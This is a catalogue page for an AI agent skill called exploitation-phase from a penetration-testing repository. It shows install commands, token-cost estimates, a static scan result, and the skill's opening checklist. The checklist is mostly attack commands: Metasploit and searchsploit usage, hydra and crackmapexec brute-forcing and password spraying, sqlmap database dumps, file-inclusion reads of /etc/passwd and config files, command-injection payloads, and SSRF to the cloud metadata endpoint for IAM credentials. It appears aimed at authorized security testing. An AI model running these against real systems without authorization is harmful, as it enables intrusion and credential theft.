Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/exploitationnpx skills add s0ld13rr/pentestcode --skill exploitationgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00030 | $0.00918 |
| Opus 5 | $0.00015 | $0.00459 |
| Sonnet 5 | $0.00006 | $0.00184 |
| Haiku 4.5 | $0.00003 | $0.00092 |
Grade B, and why
exploitation-phase scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl "http://<target>/page?file=../../../etc/passwd" How it starts
The opening of the file, as written. The whole thing — 99 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Exploitation Checklist
Prioritize: known public exploits > default creds > brute force > manual exploitation.
PROVE impact — the win condition
A vuln is not "confirmed" until you reproduce concrete impact: id/whoami (RCE), a dumped canary row/secret (SQLi), file bytes like /etc/passwd (LFI/XXE), cloud creds (SSRF), cross-user data (IDOR), or the required marker. Mark add_vuln suspected on detection, confirmed only WITH that evidence artifact. Detection output ("tool says vulnerable") is a lead, not proof.
Exploit Search & Preparation
searchsploit <service> <version>
searchsploit -m <exploit_id> # mirror exploit locally
msfconsole -q -x "search type:exploit <service>"
Known CVE Exploitation
# Metasploit
msfconsole -q -x "use <exploit_path>; set RHOSTS <target>; set LHOST <attacker_ip>; run"
# Manual PoC
# Download, review, adapt PoC from searchsploit or GitHub
python3 exploit.py <target> <port>
Credential Attacks
# SSH brute force
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4
# Web login brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# SMB credential testing
crackmapexec smb <target> -u users.txt -p passwords.txt
# RDP brute force
hydra -l <user> -P wordlist.txt rdp://<target>
# Credential spraying (one password, many users)
crackmapexec smb <target> -u users.txt -p 'Password1!'
Web Exploitation
# SQL injection exploitation
sqlmap -u "http://<target>/vuln?id=1" --batch --dbs
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> --tables
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> -T <table> --dump
# File inclusion
curl "http://<target>/page?file=../../../etc/passwd"
curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=config.php"
# Command injection
curl "http://<target>/ping?host=;id"
curl "http://<target>/ping?host=$(whoami)"
# SSRF
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 99 lines · 30 tokens per session scan B d3e8d4c8d015
exploitation-phase is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 30 tokens to every session and 918 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
stripe-projects
Use after E2B sandbox/API access has been provisioned through Stripe Projects and the user needs to use the resulting E2B API key with the E2B CLI, JavaScript SDK, Python SDK, or Code Interpreter SDK.
greeting-user
Explains how to properly greet the user.
using-process-tool
Describes how to correctly use 'process' tool.
test-skill
test description.
documents
Create, read, edit, review, comment on, sanitize, render, and validate Microsoft Word DOCX documents. Use whenever a DOCX or Word document is a primary input or deliverable, including reports, proposals, forms, templates, tracked revisions, comments, tables, images, headers, footers, and style-preserving edits.
Read, create, inspect, merge, split, rotate, encrypt, fill, and validate PDF files. Use when the user asks to work with a PDF or convert supported Markdown into a polished PDF in AstrBot.